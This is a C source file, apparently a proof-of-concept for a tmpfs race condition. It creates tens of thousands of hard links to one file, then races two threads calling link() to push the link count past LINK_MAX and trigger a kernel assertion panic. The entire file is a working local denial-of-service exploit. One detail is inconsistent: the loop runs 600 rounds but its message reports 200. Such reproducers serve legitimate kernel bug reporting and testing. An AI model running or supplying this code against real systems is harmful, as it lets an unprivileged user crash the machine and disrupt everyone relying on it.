DF-3025 / df3025.c
/* DF-3025 - tmpfs_nlink LINK_MAX check-then-increment race (KKASSERT panic). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #include <sys/stat.h> #define LINKMAX 32767 static char dirp[512], target[600]; static pthread_barrier_t bar; static volatile int e0=0,e1=0; static char src0[600], src1[600]; static void *linker(void *arg) { long id=(long)arg; char p[600]; const char *src = id? src1 : src0; pthread_barrier_wait(&bar); snprintf(p,sizeof p,"%s/d%ld/r",dirp,id); int r=link(src,p); if(id==0) e0=r?errno:0; else e1=r?errno:0; return NULL; } int main(int argc,char**argv) { char p[600]; struct stat st; pthread_t a,b; int i,round; if(argc!=2){fprintf(stderr,"usage: df3025 dir\n");return 2;} snprintf(dirp,sizeof dirp,"%s",argv[1]); snprintf(p,sizeof p,"%s/d0",dirp); mkdir(p,0777); snprintf(p,sizeof p,"%s/d1",dirp); mkdir(p,0777); snprintf(target,sizeof target,"%s/t",dirp); int fd=creat(target,0644); if(fd<0){perror("creat");return 1;} close(fd); for(i=0;i<LINKMAX-2;i++){ /* tn_links = 1 + nlinks */ snprintf(p,sizeof p,"%s/L%d",dirp,i); if(link(target,p)!=0){fprintf(stderr,"setup link %d: %s\n",i,strerror(errno));return 1;} } snprintf(src0,sizeof src0,"%s/L1",dirp); snprintf(src1,sizeof src1,"%s/L%03d",dirp,LINKMAX-3); if(stat(target,&st)){perror("stat");return 1;} printf("setup: nlink=%lu (LINK_MAX=%d)\n",(unsigned long)st.st_nlink,LINKMAX); for(round=0;round<600;round++){ e0=e1=0; pthread_barrier_init(&bar,NULL,3); pthread_create(&a,NULL,linker,(void*)0); pthread_create(&b,NULL,linker,(void*)1); pthread_barrier_wait(&bar); pthread_join(a,NULL); pthread_join(b,NULL); pthread_barrier_destroy(&bar); if(stat(target,&st)){perror("stat2");return 1;} if(st.st_nlink>LINKMAX){ printf("RACE WON round %d: nlink=%lu > LINK_MAX -> next link() should KKASSERT\n", round,(unsigned long)st.st_nlink); fflush(stdout); snprintf(p,sizeof p,"%s/d0/final",dirp); printf("triggering: link() -> %d\n", link(target,p)); printf("SURVIVED (no panic)\n"); return 0; } /* not won: one or both failed with EMLINK; clean the round's links */ snprintf(p,sizeof p,"%s/d0/r",dirp); unlink(p); snprintf(p,sizeof p,"%s/d1/r",dirp); unlink(p); } printf("race not won in 200 rounds; last errno pair %d/%d\n",e0,e1); return 0; } |